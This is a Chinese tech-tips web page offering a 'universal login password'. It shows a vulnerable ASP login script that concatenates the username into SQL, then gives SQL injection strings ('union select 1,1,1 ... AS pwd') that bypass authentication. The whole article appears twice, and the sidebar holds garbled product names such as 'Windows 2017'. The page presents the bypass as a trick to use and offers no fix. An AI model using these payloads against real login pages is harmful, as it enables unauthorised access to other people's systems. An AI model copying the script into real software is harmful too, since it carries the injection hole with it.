- 欢迎访问起航教学!
新型万能登录密码
12-14 18:28:28 分类:电脑技巧 浏览次数: 710次
标签:电脑技巧大全,http://www.qihang56.com
新型万能登录密码,
网上有很多这样的登陆验证代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
checksysUser=FALSE
else
passwd=trim(rs("pwd"))
if passwd=password then
Session("admin")=username
checksysUser=TRUE
else
checksysUser=FALSE
end if
End if
rs.close
conn.close
if checksysUser=true then
Response.Redirect("main.asp")
else
errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失
效.但如果在上面的程序中,用户名输入' union select 1,1,1 FROM admin Where ''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' union select 1,1,1 AS pwd FROM admin Where ''=
本文来自 http://www.qihang56.com 谢谢支持!
网上有很多这样的登陆验证代码
<%
username=trim(Request.Form("username"))
password=trim(Request.Form("password"))
sql="Select * FROM admin Where user='"&username&"'"
Set rs=Server.CreateObject("adodb.recordset")
rs.Open sql,conn,1,1
if rs.eof then
checksysUser=FALSE
else
passwd=trim(rs("pwd"))
if passwd=password then
Session("admin")=username
checksysUser=TRUE
else
checksysUser=FALSE
end if
End if
rs.close
conn.close
if checksysUser=true then
Response.Redirect("main.asp")
else
errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>"
end if
%>
先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失
效.但如果在上面的程序中,用户名输入' union select 1,1,1 FROM admin Where ''=',密码输入1,就可以登陆成功,原理很简单,就不多说了.顺便附上oldjun的语句:' union select 1,1,1 AS pwd FROM admin Where ''=
本文来自 http://www.qihang56.com 谢谢支持!
相关热词搜索:
分享到:
收藏
评论排行
电脑技巧 热门排行
- · windows server 2017远程桌面
- · 解决windows蓝屏显示“Stop 0x000
- · Windows 2017系统优化小技巧
- · 在Windows XP/2017中自定义文件缩
- · stop:c00020171a unknown hard error
- · NTFS下Win2017密码丢失怎么办
- · win2017启动正常,而winxp无法启动
- · 安装Office2017双击却无法直接打怎么办
- · 为何你的迅雷下载速度越来越慢
- · 简单提高迅雷下载速度的方法
- · Alt键的12个使用秘诀
- · 笔记本GPRS上网图解教程
- · 我就不关机 拒绝别人关闭计算机
- · 在机房远程关机
- · Windows 7家庭网络共享设置图解
- · 严禁迅雷偷偷上传!
- · 限制迅雷上传速度
- · 轻松解救无法启动的系统组策略
- · 无法升级安装win7 sp1的解决办法
- · 蠕虫和木马常改的系统文件及注册表
- · 教你如何20秒神速进入win XP操作系统
- · 最早黑客:揭秘世界第一批女性电脑高手
- · 在Windows7中新建磁盘分区的方法
- · Vista系统中如何用U盘制作密码重设盘